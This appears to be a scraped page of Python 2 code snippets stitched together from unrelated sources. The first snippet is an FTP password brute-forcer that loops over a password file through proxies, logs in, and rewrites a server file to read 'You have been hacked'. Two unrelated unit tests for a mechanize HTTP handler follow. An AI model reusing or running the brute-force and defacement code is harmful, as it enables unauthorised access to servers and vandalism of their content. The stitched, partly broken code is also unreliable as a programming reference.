Example #1
0
    def change_data_file(self, login_to_server, ip, file_name, ):
        self.login_to_server = login_to_server
        # self.pas_for_ftp = pas_for_ftp
        self.ip = ip
        self.file_name = file_name


        file = "pasw.txt"
        br = Anon(useragent, proxies)
        pf = open(file, 'r') #open a password file
        for line in pf.readlines():
            pas_for_ftp = line.strip('\r').strip('\n')
            try:
                print "login_to_server - ", self.login_to_server
                # print "pas_for_ftp - ", self.pas_for_ftp
                print "IP - ", self.ip
                print "file_name - ", self.file_name

                url = "ftp://" + self.login_to_server + ":" + pas_for_ftp + "@" + self.ip + "/"
                print url
                url2 = url + self.file_name
                print url2

                response = br.open(url2)
                soup = BeautifulSoup(response.get_data())
                b = soup.prettify()
                tag = soup.body
                tag.clear()
                soup = BeautifulSoup("<body></body>")
                original_tag = soup.body
                new_tag = soup.new_tag("p")
                original_tag.append(new_tag)
                tag = soup.p
                tag.string = "You have been hacked"
                a = soup.prettify()
                print "File on server: ", b
                print "File's change: ", a
                request = Request(url2, data=b)
                request.get_host()
                request.get_data()
                print "Done!"
                break



                # response = br.open(url2)
                # html = br.response().get_data().replace("</b>", "< /b>")
                # response = mechanize.make_response(html, [("Content-Type", "text/html")], url2 , 200, "OK")
                # br.set_response(response)



                # html = br.response().get_data().replace(b, a)
                # response = mechanize.make_response(html, [("Content-Type", "text/html")], url2 , 200, "OK")
                # br.set_response(response)
                # html2 = br.request().get_data().replace(b, a)
                # mechanize.request_host(html2)
            except:
                print "[*]password", pas_for_ftp, "is incorrect"
    def test_has_not_data_do_request(self):
        from hexagonit.testing.mech import HexagonitHTTPHandler
        from mechanize._request import Request
        request = Request('/plone/@@echo', data=True)
        request.get_host = mock.Mock()
        request.get_host.return_value = 'nohost'
        request.has_data = mock.Mock()
        request.has_data.return_value = False
        request.has_proxy = mock.Mock()
        request.has_proxy.return_value = False
        app = mock.Mock()
        handler = HexagonitHTTPHandler(app)
        handler.parent = mock.Mock()
        handler.parent.addheaders = [('User-agent', 'Python-urllib/2.6')]
        handler.do_request_(request)
#        ctype = 'multipart/form-data; boundary={0}'.format(BOUNDARY)
        ## Now uses default application/x-www-form-urlencoded istead of multipart/form-data
        self.assertRaises(KeyError, lambda: request.unredirected_hdrs['Content-type'])
 def test_has_data_do_request(self):
     from hexagonit.testing.mech import HexagonitHTTPHandler
     from hexagonit.testing.mime import BOUNDARY
     from mechanize._request import Request
     request = Request('/plone/@@echo', data=True)
     request.get_host = mock.Mock()
     request.get_host.return_value = 'nohost'
     request.has_data = mock.Mock()
     request.has_data.return_value = True
     request.get_data = mock.Mock()
     request.get_data.return_value = 'Data'
     request.has_proxy = mock.Mock()
     request.has_proxy.return_value = False
     app = mock.Mock()
     handler = HexagonitHTTPHandler(app)
     handler.parent = mock.Mock()
     handler.parent.addheaders = [('User-agent', 'Python-urllib/2.6')]
     handler.do_request_(request)
     ctype = 'multipart/form-data; boundary={0}'.format(BOUNDARY)
     self.assertEquals(ctype, request.unredirected_hdrs['Content-type'])